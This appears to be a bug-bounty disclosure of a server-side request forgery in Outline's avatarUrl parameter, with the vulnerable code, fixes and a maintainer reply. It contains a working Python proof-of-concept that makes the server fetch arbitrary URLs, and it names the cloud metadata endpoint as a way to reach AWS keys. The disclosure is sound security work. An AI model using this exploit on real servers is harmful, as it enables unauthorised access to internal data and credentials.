Full Read Server-Side Request Forgery (SSRF) in outline/outline
Reported on
Jul 1st 2022
🔒️ Requirements
Privileges: None.
📝 Description
The avatarUrl
post parameter from /api/users.update
and /api/teams.update
api endpoint isn't sanitize and permit to get a full read SSRF exploitation. When updating user's or team's avatar, even if from client side we can only change it by uploading an image to s3bucket, we still can change the supplied an url to force the server fetching and uploading the content url we want. If the fetching was doing well, we get it's url as an outpout, allowing us to retrieve the full content of the page.
- Case n°1:
/api/users.update
.
1°) The avatarUrl
post parameter is recieved by /server/routes/api/users.ts
on users.update
road. (link)
2°) Then it is sent to user uploadAvatar
method. (link)
3°) Finaly it is upload via uploadToS3FromUrl
method. (link)
- Case n°2:
/api/teams.update
1°) The avatarUrl
post parameter is recieved by /server/routes/api/teams.ts
on teams.update
road. (link)
2°) Then it is sent to team uploadAvatar
method. (link)
3°) Finaly it is upload via uploadToS3FromUrl
method. (link)
In both case, the workflow is quite the same and the vulnerability occure at in the same method uploadToS3FromUrl
.
export const uploadToS3FromUrl = async (
url: string,
key: string,
acl: string
) => {
try {
const res = await fetch(url);
// @ts-expect-error ts-migrate(2339) FIXME: Property 'buffer' does not exist on type 'Response... Remove this comment to see the full error message
const buffer = await res.buffer();
await s3
.putObject({
ACL: acl,
Bucket: AWS_S3_UPLOAD_BUCKET_NAME,
Key: key,
ContentType: res.headers["content-type"],
ContentLength: res.headers["content-length"],
Body: buffer,
})
.promise();
const endpoint = publicS3Endpoint(true);
return `${endpoint}/${key}`;
...
};
Here, as you can see, the fetch request result is imediatly upload to the s3bucket without verifying the MIME type
or remote hostname ip
. Due to this, all files from all destinations can be retrieved by the SSRF.
🕵️♂️ Proof of Concept
- Step 1: login to getoutline.com or to your local version.
- Step 2: retrieve your
accessToken
cookie from thedeveloper
tab.
- Step 3: use the folowing script to exploit de SSRF:
- ssrf_url = webpage you want to get.
- accessToken = your access token
- outline_url = your outline url
from requests import post
from json import loads
ssrf_url = "https://mizu.re"
accessToken = "XXX"
outline_url = "XXX"
# init
api_url = "https://%s/api/users.update" % outline_url # Change it
headers = {
"Authorization": "Bearer %s" % accessToken
}
json = {
"avatarUrl": ssrf_url
}
# request
r = loads(post(url=api_url, headers=headers, json=json).text)
if "https://outline-production-attachments.s3-accelerate.amazonaws.com/" in r["data"]["avatarUrl"]:
print("\n\x1b[1m[+] SSRF output generated:", r["data"]["avatarUrl"], "\x1b[0m\n")
else:
print("\n\x1b[31;1m=== ERROR FETCHING THE WEBPAGE ===\x1b[0m\n")
- Step 4: go to the url and retrieve the output.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="https://mizu.re/favicon.png">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/normalize.css">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/style.css">
<link rel="stylesheet" href="https://mizu.re/assets/css/style-dark-specific.css" id="theme-style"><link rel="stylesheet" href="https://mizu.re/assets/css/github-markdown-dark.css" id="markdown-style"><link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
...
🔨 Fix
To fix this vulnerability, I suggest you to:
- Allow only image
MIME type
like:- image/png
- image/jpeg
- Resolve hostname IP to avoid internal HTTP query.
- Check for magic bytes.
OR
- Avoid uploading files via an URL.
Depending on how you want to use uploadToS3FromUrl
method later, I suggest you use those filters in Team
and User
uploadAvatar
method or directly inside uploadToS3FromUrl
. Directly fixing uploadToS3FromUrl
will be more efficient and avoid any new SSRF on that endpoint but, you won't be able to use it to upload other type files that cité above.
Impact
An attacker could use it to get internal information. For example, if the server is hosted on AWS, he may fetch the AWS API endpoint
(http://169.254.169.254/
) which containe AWS API informations
(keys...).
More informations about this kind of vulnerabilities: SSRF
We will change the avatarUrl method so that it does not trigger an internal download, however I don't think this can be classes as High unless you have proven the ability to download any internal information at all.